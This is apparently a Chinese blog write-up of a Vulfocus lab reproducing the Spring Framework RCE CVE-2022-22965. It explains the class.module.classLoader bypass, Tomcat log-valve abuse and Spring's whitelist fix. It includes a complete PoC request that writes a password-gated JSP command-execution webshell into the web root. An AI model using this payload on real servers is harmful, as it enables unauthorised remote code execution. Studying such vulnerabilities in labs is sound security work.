【Vulfocus】CVE-2022-22965:Spring core RCE漏洞
漏洞影響范圍
1、JDK版本為9及以上
2、使用Spring框架及衍生框架的應用系統,版本低於5.3.18和5.2.20
3、目前公開的漏洞利用僅影響使用Tomcat中間件且開啟了Tomcat日志記錄的應用系統
漏洞原理
類似CVE-2010-1622漏洞,CVE-2010-1622漏洞的原因是Spring參數綁定時,可以注入一個Java pojo對象,這個對象可以是惡意的去注冊一些敏感tomcat的屬性,最后通過修改Tomcat的配置來執行危險操作。假設我們的業務邏輯中有這樣一個User。
public class User {
private String name;
private int age;
public User() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Controller接收User參數,Spring會自動解析接收到的參數
@RestController
public class UserController {
@RequestMapping("/hello")
@ResponseBody
public String hello(User user) {
return "hello" + user.getName() + "!";
}
}
如果用戶傳入的是http://localhost:8080/hello?name=Roderick
,那么Spring會調用User.setName('Roderick')
對User類的name進行賦值。也就是攻擊者可以直接調用Pojo對象的屬性,setter
、getter
方法。
//所有Java對象的父類都為Object,Object擁有一個getClass方法用來獲取對象的Class
public final native Class<?> getClass();
而Class對象又有getClassLoader,這個在Tomcat中會獲取到org.apache.catalina.loader.ParallelWebappClassLoader
(負責加載tomcat中每個應用的類包,每個應用一個),它保存了Tomcat的一些全局配置。CVE-2010-1622的攻擊原理就是通過傳入http://localhost:8080/hello?name=Roderick&class.classLoader.xx=xxxx
改變Tomcat配置的值來構造惡意操作,例如DoS、寫Shell。
//利用鏈
class.classLoader.resources.context.parent.pipeline.first.pattern
對應這個現象的修復方式是在CachedIntrospectionResults
,對Class
和classLoader
做判斷,二者不能連用了。也就是上述的class.classLoader.xx
被禁掉了,無法再進行利用。
Spring core RCE(CVE-2022-22965)就是繞過了這個限制,因為在Java9開始,Class對象中增加了getModule
方法,獲取的是Module
類對象,module存在getClassLoader方法,正好用來寫一條新的利用鏈。
Java的最小可執行文件是Class,jar則是Class文件的容器,可以打包許多Class。如果要運行一個jar應用,命令如下。app.jar是打包的應用,a.jar等是可能用到的第三方jar包。
java -cp app.jar:a.jar:b.jar:c.jar org.com.sample.Main
如果少引用了某個jar可能出現ClassNotFoundException
的報錯。因為jar作為容器,只打包Class,並不關聯Class間的依賴。
而JDK 9開始引入的Module則是主要解決“依賴”的問題。能讓a.jar自動定位到依賴的b.jar。Module類的設計引入了getClassLoader方法,返回此模塊的ClassLoader。這也是Spring core RCE繞過限制的原因,class.classLoader
被禁止了,但是在JDK9之后可以寫成class.module.classLoader
,獲取到ClassLoader后就可以利用之前的方式將shell寫進日志,保存日志到web目錄下getshell。
//利用鏈
class.module.classLoader.resources.context.parent.pipeline.first.pattern
該漏洞通過修改 Tomcat 的日志設置(通過AccessLogValve)來寫入惡意文件,AccessLogValue主要利用字段
字段 | 含義 |
---|---|
directory | 將放置此 Valve 創建的日志文件的目錄的絕對或相對路徑名。如果指定了相對路徑,則將其解釋為相對於 $CATALINA_BASE。如果未指定目錄屬性,則默認值為“logs”(相對於 $CATALINA_BASE)。 |
prefix | 添加到每個日志文件名稱開頭的前綴。如果未指定,默認值為“access_log”。 |
suffix | 添加到每個日志文件名稱末尾的后綴。如果未指定,則默認值為“”(長度為零的字符串),表示不會添加后綴。 |
fileDateFormat | 允許在訪問日志文件名中自定義時間戳。每當格式化的時間戳更改時,文件就會旋轉。默認值為.yyyy-MM-dd 。如果您希望每小時輪換一次,則將此值設置為.yyyy-MM-dd.HH 。日期格式將始終使用 locale 進行本地化en_US 。 |
pattern | 一種格式布局,用於標識要記錄的請求和響應中的各種信息字段,或者選擇標准格式的 common 、combined 。 |
common
、combined
包括%a %A %b %h %u
等,另外,還支持從cookie、請求頭中傳入等:
%{xxx}i 請求頭中傳入
%{xxx}o 響應頭傳入
%{xxx}c 特定cookie傳入
%{xxx}r xxx是ServletRequest中的一個屬性
%{xxx}s xxx是HttpSession中的一個屬性
網上隨便找的POC
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
注:POC中class.classLoader.resources.context.parent.pipeline.first
這個屬性實際是org.apache.catalina.valves.AccessLogValve
,
dataformat會觸發切換日志的原因是class.classLoader.resources.context.parent.pipeline.first.rotatable
,每次Log時,都會調用rotate。
最新的spring官方修復
可以看到,這次官方不在采用黑名單的形式去防御,而是采用白名單,當beanClass是class.Class時,只允許添加name屬性。並且如果屬性是ClassLoader 和 ProtectionDomain,會被忽略。
漏洞復現
Vulfocus 搭建環境
開環境,burp抓包change request method
,上POC,一套流程順暢的一P
頁面訪問直接RCE
github上也有很多python的利用工具,可以直接使用。。
參考文章
https://www.jianshu.com/p/e0c7a03e40d2
https://www.freebuf.com/vuls/327457.html
https://blog.csdn.net/weixin_45794666/article/details/123918066